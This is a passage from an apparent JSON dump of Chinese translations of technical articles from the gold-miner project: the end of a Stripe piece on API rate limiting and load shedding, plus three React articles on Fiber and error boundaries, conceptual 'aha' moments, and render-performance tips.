个正在被处理的请求”这种限制。有一些端点会比其他端点有更密集地使用资源，等待端点返回结果接着又重试的过程会使用户也变得很沮丧。这些重试请求会给本来已经负荷过重的资源增加更多需求，让整个过程更加缓慢。并发请求限制可以很好的帮助你解决这个问题。\n\n我们的并发请求限制并不会那么经常被触发（这个月发生了 12000 次），它帮助我们控制那些 CPU 密集型的 API 端点。在我们开始使用并发请求限制之前，我们经常要处理，由于用户一次发出过多请求导致的，发生在我们最昂贵的端点上的资源争夺。并发请求限制完全解决了这个问题。\n\n调整这种限制使它拒绝的请求比请求速率限制更多，这也是一种合理的做法。这会要求你的用户使用一种“分支出 X 个作业对队列做处理”的模式，而不是“连续对 API 发出请求并在收到 HTTP 429 响应时退避（back off）”（译注：这里的退避（back off）的意思是等待一定时间后重新发送请求）。有些 API 更适合这两种模式中的一种，所以请选择更适于你的 API 的使用者的模式。\n\n![](https://stripe.com/img/blog/posts/rate-limiters/2-concurrent-requests-limiter.svg)\n\n并发请求限制为 CPU 密集型的 API 端点管理资源竞争。\n\n### 机队（fleet）使用量减载\n\n使用这类减载保证了对于你最重要的 API 请求来说，你的机队（fleet）中一定的百分比一直是可利用的。\n\n我们将流量分为两类：关键的 API 方法（比如：创建费用记录）和非关键的方法（比如：列出费用记录）。我们有一个 Redis 集群用来计算当前每种类型的请求分别有多少。\n\n我们一直为关键请求预留出我们基础设施的一部分。如果预留比例是 20%，那么任何超出 80% 配额的非关键请求都会被以 503 状态码拒绝。\n\n这个月，只有很小比例的请求触发了我们的减载器。这些请求数量并不大——我们当时绝对有能力处理这些多余的请求。但是此前，这帮我们阻止了数次服务中断。\n\n![](https://stripe.com/img/blog/posts/rate-limiters/2-concurrent-requests-limiter.svg)\n\n机队（fleet）使用量减载为关键请求预留机队（fleet）资源。\n\n### Worker 使用率减载\n\n大多数 API 服务都有一组 worker 以并行的方式独立地响应请求。Worker 使用率减载是系统的最后一道防线。如果你的 worker 开始备份一些请求，那么之后低优先级的流量会被放弃。\n\n这种减载器被触发的情况很少见，只有在一些重大事件发生时会被触发。\n\n我们把我们的流量分成四类：\n\n1. 关键方法\n2. POST 请求\n3. GET 请求\n4. 测试模式流量\n\n我们时刻记录 worker 的数量及可利用的容量。如果一台主机太过繁忙以至于无法处理它的请求容量，它会一点点开始去除一些不那么关键的请求，从测试模式的流量开始。如果去掉测试模式的流量之后，它回到了正常状态，很好！我们可以开始慢慢地处理更多流量。否则，它会扩大减载的规模，并开始减去更多的流量。\n\n非常重要的一点是缓慢的减去和增加负载量，否则你会陷入持续的状态变动（“我摆脱了测试模式的流量！一切正常！我把它们拿回来处理了！一切糟透了！”）。我们用试错法多次调整我们减载的速率，最终确定了一个在几分钟的时间范围内减掉大量流量的速率。\n\n这个月只有 100 个请求被这种速率限制器拒绝，但是过去它帮助我们从负载过大的问题中更迅速的恢复。这种减载限制了已经发生的事故的影响，提供了对损失的控制，而前三种减载机制更具预防性。\n\n![](https://stripe.com/img/blog/posts/rate-limiters/4-worker-utilization-load-shedder.svg)\n\nWorker 使用率减载为关键请求预留出一部分 worker。\n\n\n## 速率限制实现\n\n现在，我们已经概述了四种基本类型的速率限制器，以及在什么情况下使用它们，我们再来谈谈它们是怎么实现的。有哪些速率限制算法？怎么在实际应用中实现它们？\n\n我们使用[令牌桶算法（token bucket algorithm）](https://en.wikipedia.org/wiki/Token_bucket)实现速率限制。这个算法有集中桶主机，在那里你可以为每个请求取出 token（译注：消耗令牌），同时缓慢的将更多的 token 被放进桶中（译注：生产令牌）。如果桶是空的，拒绝请求。在我们的例子中，每个 Stripe 用户都有一个桶，每次他们发出一个请求，我们就从令牌桶中移除一个 token。\n\n我们使用 Redis 实现速率限制。你可以自己操作 Redis 实例，或者，如果你使用 AWS，你可以使用一个有管理的服务，比如[ElastiCache](https://aws.amazon.com/elasticache/)。\n\n这里有一些实现速率限制时需要考虑的重要事项：\n\n- **安全地连接你的中间件堆栈和速率限制器。** 确保如果速率限制代码有 bug（或者如果 Redis 挂了），请求处理不会受到影响。这意味着要捕捉（来自速率限制的）所有级别的异常，这样任何代码或操作失误都会失败后继续运行，并且 API 还可以正常工作。\n- **向用户明确显示异常。** 确定要显示给用户的异常类型。在实际操作中，你应该决定你想用[HTTP 429](https://tools.ietf.org/html/rfc6585#section-4) (Too Many Requests) 还是 [HTTP 503](https://tools.ietf.org/html/rfc7231#section-6.6.4) (Service Unavailable)，针对不同的情况来决定哪个是最准确的。你返回的信息也应该是可操作的。\n- **内置保障措施，使你能够关闭限制器。** 确保你的关闭按钮能够在速率限制器犯错的时候禁用它们。使用人工安全阀的同时，特性标记（feature flags）也是非常有帮助的。设置警报和指标以便了解它们被触发的频率。\n- **对速率限制使用灰度上线，以观察它们会阻挡哪些流量。** 评估阻止那些流量是否是正确的决定，并做出相应的调整。你希望找到一个合适的阈值，它可以既保证你的 API 一直是可利用的，同时不会影响你的用户既有的请求模式。这可能涉及与部分用户一起修改他们的代码，以保证新的速率限制对他们来说是可行的。\n\n\n## 结论\n\n速率限制是为你的 API 扩大使用规模做好准备最有效的方法之一。这篇文章中描述的不同的速率限制策略并不需要在上线的第一天就全部实现，你可以逐渐引入它们，当你发现有速率限制的需要的时候。\n\n我们建议根据以下步骤将速率限制引入你的基础设施：\n\n1. 从实现一个请求速率限制器开始。这是最重要的，也是目前为止最常用的一种防止滥用的方法。\n2. 逐步引入后续三种速率限制以预防不同类别的问题发生。可以在缓慢扩大规模的过程中逐渐实现它们。\n3. 将新的速率限制引入你的基础设施时，应当遵循良好的上线实践。安全地处理错误，使用特性标记（feature flags）以便在任何时候可以将它们关闭，依靠良好的可观测性和指标以便观察它们被触发的频率。\n\n为了帮助你更好地开始使用速率限制，我们创建了一个[GitHub gist](https://gist.github.com/ptarjan/e38f45f2dfe601419ca3af937fff574d)，用来分享基于我们在 Stripe 生产环境使用的代码的一些实现细节。\n\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/react-16-features-and-fiber-explanation.md",
    "content": "\n> * 原文地址：[What’s New in React 16 and Fiber Explanation](https://edgecoders.com/react-16-features-and-fiber-explanation-e779544bb1b7)\n> * 原文作者：[Trey Huffine](https://edgecoders.com/@treyhuffine?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/react-16-features-and-fiber-explanation.md](https://github.com/xitu/gold-miner/blob/master/TODO/react-16-features-and-fiber-explanation.md)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[Tina92](https://github.com/Tina92) [sunui](https://github.com/sunui)\n\n# React 16 带来了什么以及对 Fiber 的解释\n\n## 特性概览 —— 万众期待的 React 16 \n\n![](https://cdn-images-1.medium.com/max/2100/1*i3hzpSEiEEMTuWIYviYweQ.png)\n\nReact 核心算法的更新已经进行了多年了 —— 这次更新提供了一个从底层重写了 React 的 reconciliation 算法（译注：reconciliation 算法，是 React 用来比较两棵 DOM 树差异、从而觉得哪一部分应当被更新的算法）。React将维护相同的公共API，并允许大多数项目立即升级（假设您已经修复了弃用警告）。新版本的发布主要有如下目的：\n\n* 能够将渲染流程中可中断的工作（interruptible work）换划分为一个个的 chunk。 \n\n* 能够为渲染流程中的工作提供优先级划分，rebase 以及重用能力。\n\n* 在渲染流程中，能够自如地在父子组件中切换，这使得在 React 实现 layout 成为了可能。\n\n* 能够从 `render()` 函数返回多个 element。\n\n* 对 error boundary 提供了更好的支持。\n\n* [**可以在 gitconnected 上关注我 >](https://gitconnected.com/treyhuffine)**\n\n## 特性\n\n### 核心算法重写\n\n这次算法重写带来的主要特性是异步渲染。（**注意**：在 16.0 中尚不支持，但是在未来的 16.x 版本中将会做为可选特性）。另外，新的重写删除了一些不成熟的、妨碍了内部变化的抽象。\n\n> 这些多来自于 [Lin Clark 的演讲](https://www.youtube.com/watch?v=ZCuYPiUIONs)，所以你可以看看这个演讲，再在 twitter 上 [关注并点赞 Clark](https://twitter.com/linclark) 来支持她这个视角独特的概述。\n\n异步渲染的意义在于能够将渲染任务划分为多块。浏览器的渲染引擎是单线程的，这意味着几乎所有的行为都是同步发生的。React 16 使用原生的浏览器 API 来间歇性地检查当前是否还有其他任务需要完成，从而实现了对主线程和渲染过程的管理。在 Firefox 中，一个浏览器主线程的例子很简单：\n\n```js\nwhile (!mExiting) {\n    NS_ProcessNextEvent(thread);\n}\n```\n\n在之前的版本中，React 会在计算 DOM 树的时候锁住整个线程。这个 reconciliation 的过程现在被称作 “stack reconciliation”。尽管 React 已经是以快而闻名了，但是锁住整个线程也会让一些应用运行得不是很流畅。16 这个版本通过不要求渲染过程在初始化后一次性完成修复了该问题。React 计算了 DOM 树的一部分，之后将暂停渲染，来看看主线程是否有任何的绘图或者更新需要去完成。一旦绘图和更新完成了，React 就会继续渲染。这个过程通过引入了一个新的，叫做 “fiber” 的数据结构完成，fiber 映射到了一个 React 实例并为该实例管理其渲染任务，它也知道它和其他 fiber 之间的关系。一个 fiber 仅仅是一个 JavaScript 对象。下面的图片对比了新旧渲染方法。\n\n![Stack reconciliation — updates must be completed entirely before returning to main thread (credit Lin Clark)](https://cdn-images-1.medium.com/max/3304/1*QtyRyjiedObq7_khCw5GlA.png)\n\n![Fiber reconciliation — updates will be batched in chunks and React will manage the main thread (credit Lin Clark)](https://cdn-images-1.medium.com/max/2000/1*LEPjfYL6Bd4nkcCRMB6vog.png)\n\nReact 16 也会在必要的时候管理各个更新的优先级。这就允许了高优先级更新能够排到队列开头从而被首先处理。关于此的一个例子就是按键输入。鉴于应用流畅性的考虑，用户需要立即获得按键响应，因而相对于那些可以等待 100-200 毫秒的低优先级更新任务，按键输入拥有较高优先级。\n\n![React priorities (credit Lin Clark)](https://cdn-images-1.medium.com/max/3428/1*RZYe9LuwfybI9zDxCL28NQ.png)\n\n通过将 UI 的更新划分为若干小的工作单元，用户体验获得了提高。暂停 reconciliation 任务来允许主线程执行其他紧急的任务，这提供了更平滑的接口和可感知到的性能提升。\n\n### 错误处理\n\n在 React 中，错误总是难于处理，但在 React 16 中，一切发生了变化。之前版本中，组件内部发生的错误将污染 React 的状态，并且在后续的渲染中引起更多含义模糊的错误。\n\n![lol wut?](https://cdn-images-1.medium.com/max/2000/1*BLyT8jKqOPRAKt_iUXCNeg.png)\n\nReact 16 含有的 error boundary 不只能够提供清晰的错误信息，还能防止整个应用因错误而崩溃。将 error boundary 添加到你的应用之后，它能够 catch 住错误并且展示一个对应的 UI 而不会造成整个组件树崩溃。boundary 能够在组建的渲染期、生命周期方法及所有其子树的构造方法中 catch 错误。error boundary 通过一个新的生命周期方法 componentDidCatch(error, info) 就可以轻松实现。\n\n```js\nclass ErrorBoundary extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = { hasError: false };\n  }\n\n  componentDidCatch(error, info) {\n    // 展示一个回退 UI\n    this.setState({ hasError: true });\n    // 你也可以将错误日志输出到一个错误报告服务\n    logErrorToMyService(error, info);\n  }\n\n  render() {\n    if (this.state.hasError) {\n      // 你可以渲染任意的自定义回退 UI\n      return <h1>Something went wrong.</h1>;\n    }\n    return this.props.children;\n  }\n}\n\n<ErrorBoundary>\n  <MyWidget />\n</ErrorBoundary>\n```\n\n在该例子中，任何发生在 `<MyWidget/>` 或者其子组件中的错误都能被 `<ErrorBoundary>` 组件所捕获。这个功能类似于 JavaScript 中的 `catch {}` 块。如果 error boundary 收到了一个错误状态，作为开发者的你能够确定此时应当展示的 UI。注意到 error boundary 只会 catch 其子树的错误，但不会识别自身的错误。\n\n进一步，你能看到如下健全的、可控的错误信息：\n\n![omg that’s nice (credit Facebook)](https://cdn-images-1.medium.com/max/3202/1*Icy2gSlrGAifYrI-cNddIg.png)\n\n## 兼容性\n\n### 异步渲染\n\nReact 16.0 的初始版本将聚焦于对现有应用的兼容性。异步渲染不会再一开始作为一个可选项，但是在之后的 16.x 的版本中，异步渲染会作为一个可选特性。\n\n### 浏览器兼容性\n\nReact 16 依赖于 `Map` 及 `Set`。为了确保对所有浏览器兼容，你需要要引入相关 polyfill。目前流行的 polyfill 可选 [core-js](https://github.com/zloirock/core-js) 或 [babel-polyfill](https://babeljs.io/docs/usage/polyfill/)。\n\n另外，React 16 也依赖于 `requestAnimationFrame`，这个依赖主要服务于测试。一个针对测试目的的 shim 可以是：\n\n```js\nglobal.requestAnimationFrame = function(callback) {\n  setTimeout(callback);\n};\n```\n\n### 组件声明周期\n\n由于 React 实现了渲染的优先级设置，你无法再确保不同组件的 `componentWillUpdate` 和 `shouldComponentUpdate` 会按期望的顺序被调用。React 团队目前正致力于提供一个更新路径，来防止这些应用受到上面的行为的影响。\n\n### 使用\n\n截止到本文发布，目前的 React 16 还处于 beta 版本，但是很快它就会正式发布。你可以通过下面的方式尝试 React 16：\n\n```\n# yarn\nyarn add react@next react-dom@next\n\n# npm\nnpm install --save react@next react-dom@next\n```\n\n**如果你觉得本文对你很有用，请给我一个 *👏*。 [在 Medium 上关注我](https://medium.com/@treyhuffine)，你能阅读更多关于 React、Nonde.js、JavaScript 和开源软件的文章。你也可以在 [Twitter](https://twitter.com/twitter) 或者 [gitconnected](https://gitconnected.com/treyhuffine) 找到我。**\n**gitconnected —— 一个软件开发者和工程师的社区。创建一个账户并登陆 gitconnected，这是一个当前最大的沟通开发者的社区。这是它的最新地址 [gitconnected.com](https://gitconnected.com/treyhuffine)**\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/react-aha-moments.md",
    "content": "> * 原文地址：[React “Aha” Moments](https://medium.freecodecamp.com/react-aha-moments-4b92bd36cc4e#.jxiocbkv5)\n* 原文作者：[Tyler McGinnis](https://medium.freecodecamp.com/@tylermcginnis?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [aleen42](https://github.com/aleen42)\n* 校对者：[Tina92](https://github.com/Tina92)、[sqrthree](https://github.com/sqrthree)\n\n# React 中“灵光乍现”的那些瞬息\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/0*6nyVYm78oKNBrvd8.jpg\">\n\n作为一名教师，我的主要目标之一就是要去让学生能遇到更多这种“灵光乍现”的瞬息。\n\n所谓[“灵光乍现”的瞬息](https://en.wikipedia.org/wiki/Eureka_effect)，指的就是一个人突然洞悉或阐明某事物的那一瞬间。而正是那一刻，使得该人明白了很多事情。当然，我们每个人都会有所体验。而在我看来，最优秀的教师就是能因人施教，以使得学生能遇到更多的“灵光乍现”。\n\n在过去几年，我曾采用过各种流行的教学方法去施教 React。在整个过程中，尤其是对于学习 React 的过程，我都记录了一些会遇到“灵光乍现”的情况。\n\n而大概就在两周前，我竟偶然地发现到[这则 Reddit](https://www.reddit.com/r/reactjs/comments/5gmywc/what_were_the_biggest_aha_moments_you_had_while/)与我的想法如出一辙，并致使我写下了该篇文章。文章中不仅记录了我所发现的这些瞬息，而且还转载有这则 Reddit 中分享的其他瞬息。因而希望能帮助学习者以新的方式去了解 React 的概念。\n\n### 瞬息 #1：Props 之于组件（Components）正如参数之于函数。 ###\n\nReact 的其中一个妙处在于，你可以通过自身对 JavaScript 函数的直观性感受来确定何时何地应该去创建一个 React 组件。但不同之处在于，函数要接受一些参数并返回一个确切的值，而组件则是接受一些参数并返回一个用于绘制 UI 界面的对象存储结构。\n\n总的来说，可以概括为这样的一个公式：`fn(d) = V`。即可理解为：“一个函数会接受一些数据作为参数并返回一个视图。”\n\n就开发 UI 而言，这的确是一种漂亮的思考方式。因为，如今你的 UI 仅仅是由不同的函数调用所构成。而这难道不是你构建应用时早已司空见惯的一种方法吗？换而言之，从此你就可以利用上所有关于函数组合的优势去构建 UI。\n\n### 瞬息 #2：既然，在 React 中整个应用的 UI 都是可以使用函数组合来进行构建。那么，JSX 则是这些函数上的一种抽象。 ###\n\n每当我回顾第一次使用 React 时，脑海里总会涌现出同样的一个反应：“即便 React 看起来好酷，但我一点都不喜欢 JSX。这是因为它破坏了我的关注点分离（Separation of Concerns）。”\n\n在我看来，JSX 的原意并非想尝试成为 HTML，而更多时候它仅仅是被定义成一种模板语言来使用。\n\n因而，关于 JSX 我们有两个重点需要了解的是：\n\n首先，[JSX 是在函数 *React.createElement* 上的一层抽象](https://tylermcginnis.com/react-elements-vs-react-components/)，而该函数会返回 DOM 结构的一个对象存储结构。\n\n即便是啰嗦，我也要说一句，“每当我们写 JSX 时，都会发现一旦 JSX 被转译，则会生成一个 JavaScript 对象用于表示真正的 DOM 结构或任何平台（iOS、Android 等）上的视图。然后，React 就会分析该对象与真正的 DOM 结构之间的差异，并以此来更新产生变化的那一部分 DOM 结构。”\n\n这样做虽然会产生部分的性能问题，但更为重要的是它能彰显出一点：JSX 的的确确“只是 JavaScript”。\n\n其次，既然 JSX 仅仅就是 JavaScript，那么你就可以运用上 JavaScript 的任何一切优势，如程序的编写、约束及调试。此外，你还可以利用上 HTML 的声明特性（以及关联点）。\n\n### 瞬息 #3：组件与 DOM 节点并非相当。 ###\n\n当你首次学习 React 时，总会被教到那么一点，“组件是 React 的积木。它们可被用于输入，并返回部分的 UI（描述符模式，the Descriptor Pattern）”\n\n可是，难道这就意味着每一个组件都需要直接返回一个 UI 描述符吗？倘若我想使用一个组件去渲染另一个组件（高阶组件模式，the Higher Order Component Pattern）？或我想使用组件去管理一小部分的 State，并返回一个传递于 State 中的函数调用，而非 UI 描述符（渲染 Props 模式，the Render Props Pattern）？亦或者曾用于负责管理音频，而非可视化 UI 的组件，它们会返回什么？\n\nReact 其中的一个优点就在于组件并非**要**返回一个标准的“视图”。只要它能返回 React 元素、null 或 false 这三者之一，就不会有任何的问题。\n\n你可以返回其他的组件：\n\n```\nrender () {\n  return <MyOtherComponent />\n}\n```\n\n也可以返回函数调用：\n\n```\nrender () {\n  return this.props.children(this.someImportantState)\n}\n```\n\n或返回空也可以：\n\n```\nrender () {\n  return null\n}\n```\n\n关于该原则的进一步探究，我推荐阅读 Ryan Florence 所制作的[关于 React Rally 的讨论](https://www.youtube.com/watch?v=kp-NOggyz54)。\n\n### 瞬息 #4：当两个组件需要共享 State 时，抽取该值而并非尝试去进行同步。 ###\n\n一个以组件为基础的框架结构本来就难于在组件间分享 State。可如果两个组件同时依赖于同一个 State，那么该 State 应存放在哪呢？\n\n关于解决方案的争夺热火朝天，乃至于刺激着整个生态系统，并最终以 Redux 的出现而结束。\n\nRedux 所提出的办法是把共享的 State 存放在另一个名为 “Store” 的地方。然后，由组件来向该 Store 订阅它们所需要的任何数据，及发出 “Action” 去进行数据的更新。\n\n而 React 本身的解决办法是寻找所有这些组件的最近父组件，并让该父组件来管理共享的 State。然后，再把其传递给所需的子组件。尽管两种方案各有优劣之处，但重要的是我们能意识到它俩的存在。\n\n### 瞬息 #5：React 中继承（Inheritance）并非必要，因为通过组合（Composition）就可以完成组件的包裹（Containment）和特化（Specialization）。 ###\n\n我们有理由相信，React 对采用函数式编程的原则总是抱有阔达的态度。关于 React 从继承走向组合的例子是其 0.13 版本的发行，这就使得我们更为清晰地发现， React 过去所做的并非是为 ES6 类（Class）下定义的 Mixins 提供支持。\n\n原因在于，任何几乎能使用 Mixins（或继承）完成的事情，都可以通过组合完成，即便这会产生些许的副作用。\n\n但若你在接触 React 时，本来就是一个看重继承方式的开发者，那么要接受这样的新思想也许是件难事，并感到不适。但幸运的是，一些资源可以帮到你克服困难，而其中[就有一个](https://www.youtube.com/watch?v=wfMtDGfHWpA)并非针对于 React 本身。\n\n### 瞬息 #6：容器组件（Container Component）与描述型组件（Presentational Component）的分离\n\n如果你在思考一个 React 组件的骨骼时，它通常会涉及有若干个 State、潜在的生命周期方法以及使用 JSX 语法书写的标记语言。\n\n但倘若可以把 State 和生命周期方法从一个组件的标记语言中分离出来，而非全部整合在一块呢？也就是说，你需要两个组件来进行分离。第一个组件含有 State 与生命周期方法，并负责组件的工作，而第二个组件则通过 Props 来接受数据，并负责组件的渲染。\n\n既然这样的方法能使得描述型组件不再耦合于所接受的数据，那么开发者也就能更好地复用它们。\n\n而且，我还发现了一点。这样的新方法还能使开发者更好地去了解应用本身的结构，且能随时替换掉组件的实现而无须担心 UI 的改变，反之亦然。这样一来，设计师也就能随意地扭捏 UI，而无须操心那些描述型组件所接受数据的方式。\n\n更多详情请查看《[描述型组件与容器组件](https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0#.q9tui51xz)》。\n\n### 瞬息 #7：若你想保持大部分组件的纯净，无 State 组件会更为容易地去维护。 ###\n\n这是分离描述型组件与容器组件的另一大优势。\n\n在我看来，State 本来就是组件中不一致性的帮凶。通过划定清晰的分离界线，我们就可以通过封装复杂的组件来大幅度地提高应用的可预测性（Predictability）。\n\n最后，感谢您花时间去阅读我的文章。恳请大家关注一下我的 [Twitter](https://twitter.com/tylermcginnis33)，并[查看我博客中](https://tylermcginnis.com/react-aha-moments/)与 JavaScript 和 React 相关的一些文章。\n"
  },
  {
    "path": "TODO/react-at-light-speed.md",
    "content": "> * 原文地址：[React at Light Speed](https://blog.vixlet.com/react-at-light-speed-78cd172a6411)\n> * 原文作者：本文已获原作者 [Jacob Beltran](https://blog.vixlet.com/@jacob_beltran) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[ZhangFe](https://github.com/ZhangFe)\n> * 校对者：[yzgyyang](https://github.com/yzgyyang),[xunge0613](https://github.com/xunge0613)\n\n# 光速 React #\n\n## Vixlet 团队优化性能的经验教训 ##\n\n![](https://cdn-images-1.medium.com/max/1000/1*SJzLm3SW2IegLw0GzlaG-w.jpeg)\n\n在过去一年多，我们 [Vixlet](http://www.vixlet.com) 的 web 团队已经着手于一个激动人心的项目：将我们的整个 web 应用迁移到 React + Redux 架构。对于整个团队来说，这是不断增长的机遇，而在迁移过程中，我们一路风雨兼程。\n\n因为我们的 web-app 可能有非常大的 feed 视图，包括成百上千的媒体、文本、视频、链接元素，我们花了相当多的时间寻找能充分利用 React 性能的方法。在这里，我们将分享我们这一路学到的一些经验教训。\n\n**声明**：**下面讲的做法和方法更适用于我们具体应用的性能需求。然而，像所有的开发者建议的那样，最重要的是要考虑到你的应用程序和团队的实际需求。React 是一个开箱即用的框架，所以你可能不需要像我们一样细致地优化性能。话虽如此，我们还是希望你能在这篇文章里找到一些有用的信息。**\n\n### 基本原理 ###\n\n![](https://cdn-images-1.medium.com/max/800/1*UOGdUM1V_rGUbxLS-eaWdQ.gif)\n\n向更大的世界迈出第一步。\n\n#### render() 函数 ####\n\n一般来说，要尽可能少地在 render 函数中做操作。如果非要做一些复杂操作或者计算，也许你可以考虑使用一个 [memoized](https://en.wikipedia.org/wiki/Memoization) 函数以便于缓存那些重复的结果。可以看看 [Lodash.memoize](https://lodash.com/docs#memoize)，这是一个开箱即用的记忆函数。\n\n反过来讲，避免在组件的 state 上存储一些容易计算的值也很重要。举个例子，如果 props 同时包含 `firstName` 和 `lastName`，没必要在 state 上存一个 `fullName`，因为它可以很容易通过提供的 props 来获取。如果一个值可以通过简单的字符串拼接或基本的算数运算从 props 派生出来，那么没理由将这些值包含在组件的 state 上。\n\n#### Prop 和 Reconciliation ####\n\n重要的是要记住，只要 props（或 state）的值不等于之前的值，React 就会触发重新渲染。如果 props 或者 state 包含一个对象或者数组，嵌套值中的任何改变也会触发重新渲染。考虑到这一点，你需要注意在每次渲染的生命周期中，创建一个新的 props 或者 state 都可能无意中导致了性能下降。\nPS:译者对这段保留意见，对象或者数组只要引用不变，是不会触发rerender的，是我翻译有误还是原文的错误？\n\n**例子:** **函数绑定的问题**\n\n```\n/*\n给 prop 传入一个行内绑定的函数（包括 ES6 箭头函数）实质上是在每次父组件 render 时传入一个新的函数。\n*/\nrender() {\n  return (\n    <div>\n      <a onClick={ () => this.doSomething() }>Bad</a>\n      <a onClick={ this.doSomething.bind( this ) }>Bad</a>\n    </div>\n  );\n}\n\n\n/*\n应该在构造函数中处理函数绑定并且将已经绑定好的函数作为 prop 的值\n*/\n\nconstructor( props ) {\n  this.doSomething = this.doSomething.bind( this );\n  //or\n  this.doSomething = (...args) => this.doSomething(...args);\n}\nrender() {\n  return (\n    <div>\n      <a onClick={ this.doSomething }>Good</a>\n    </div>\n  );\n}\n```\n\n**例子:** **对象或数组字面量**\n\n```\n/*\n对象或者数组字面量在功能上来看是调用了 Object.create() 和 new Array()。这意味如果给 prop 传递了对象字面量或者数组字面量。每次render 时 React 会将他们作为一个新的值。这在处理 Radium 或者行内样式时通常是有问题的。\n*/\n\n/* Bad */\n// 每次渲染时都会为 style 新建一个对象字面量\nrender() {\n  return <div style={ { backgroundColor: 'red' } }/>\n}\n\n/* Good */\n// 在组件外声明\nconst style = { backgroundColor: 'red' };\n\nrender() {\n  return <div style={ style }/>\n}\n```\n\n**例子** **: 注意兜底值字面量**\n\n```\n/*\n有时我们会在 render 函数中创建一个兜底的值来避免 undefined 报错。在这些情况下，最好在组件外创建一个兜底的常量而不是创建一个新的字面量。\n/*\n/* Bad */\nrender() {\n  let thingys = [];\n  // 如果 this.props.thingys 没有被定义，一个新的数组字面量会被创建\n  if( this.props.thingys ) {\n    thingys = this.props.thingys;\n  }\n\n  return <ThingyHandler thingys={ thingys }/>\n}\n\n/* Bad */\nrender() {\n  // 这在功能上和前一个例子一样\n  return <ThingyHandler thingys={ this.props.thingys || [] }/>\n}\n\n/* Good */\n\n// 在组件外部声明\nconst NO_THINGYS = [];\n\nrender() {\n  return <ThingyHandler thingys={ this.props.thingys || NO_THINGYS }/>\n}\n```\n\n#### 尽可能的保持 Props（和 State）简单和精简 ####\n\n理想情况下，传递给组件的 props 应该是它直接需要的。为了将值传给子组件而将一个大的、复杂的对象或者很多独立的 props 传递给一个组件会导致很多不必要的组件渲染（并且会增加开发复杂性）。\n\n在 Vixlet，我们使用 Redux 作为状态容器，所以在我们看来，最理想的是方案在组件层次结构的每一个层级中使用 [react-redux](https://www.npmjs.com/package/react-redux) 的 [connect()](https://github.com/reactjs/react-redux/blob/master/docs/api.md#connectmapstatetoprops-mapdispatchtoprops-mergeprops-options) 函数直接从 store 上获取数据。connect 函数的性能很好，并且使用它的开销也非常小。\n\n#### 组件方法 ####\n\n由于组件方法是为组件的每个实例创建的，如果可能的话，使用 helper/util 模块的纯函数或者[静态类方法](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)。尤其在渲染大量组件的应用中会有明显的区别。\n\n### 进阶 ###\n\n![](https://cdn-images-1.medium.com/max/800/1*9n2fdJB1gPYLFJAj5D5RqA.gif)\n\n在我看来视图的变化是邪恶的！\n\n#### shouldComponentUpdate() ####\n\nReact 有一个生命周期函数 [shouldComponentUpdate()](https://facebook.github.io/react/docs/react-component.html#shouldcomponentupdate)。这个方法可以根据当前的和下一次的 props 和 state 来通知这个 React 组件是否应该被重新渲染。\n\n然而使用这个方法有一个问题，开发者必须考虑到需要触发重新渲染的每一种情况。这会导致逻辑复杂，一般来说，会非常痛苦。如果非常需要，你可以使用一个自定义的  `shouldComponentUpdate()` 方法，但是很多情况下有更好的选择。\n\n#### React.PureComponent ####\n\nReact 从 v15 开始会包含一个 PureComponent 类，它可以被用来构建组件。`React.PureComponent` 声明了它自己的 `shouldComponentUpdate()` 方法，它自动对当前的和下一次的 props 和 state 做一次浅对比。有关浅对比的更多信息，请参考这个 Stack Overflow：\n\n[http://stackoverflow.com/questions/36084515/how-does-shallow-compare-work-in-react](http://stackoverflow.com/questions/36084515/how-does-shallow-compare-work-in-react)\n\n在大多数情况下，`React.PureComponent` 是比 `React.Component` 更好的选择。在创建新组件时，首先尝试将其构建为纯组件，只有组件的功能需要时才使用 `React.Component`。\n\n更多信息，请查阅相关文档 [React.PureComponent](https://facebook.github.io/react/docs/react-api.html#react.purecomponent)。\n\n#### 组件性能分析（在 Chrome 里）\n\n在新版本的 Chrome 里，timeline 工具里有一个额外的内置功能可以显示哪些 React 组件正在渲染以及他们花费的时间。要启用此功能，将 `?react_perf` 作为要测试的 URL 的查询字符串。React 渲染时间轴数据将位于 User Timing 部分。\n\n更多相关信息，请查阅官方文档：[Profiling Components with Chrome Timeline](https://facebook.github.io/react/docs/optimizing-performance.html#profiling-components-with-chrome-timeline) 。\n\n#### 有用的工具: [why-did-you-update](https://www.npmjs.com/package/why-did-you-update) ####\n\n这是一个很棒的 NPM 包，他们给 React 添加补丁，当一个组件触发了不必要的重新渲染时，它会在控制台输出一个 console 提示。\n\n**注意**: 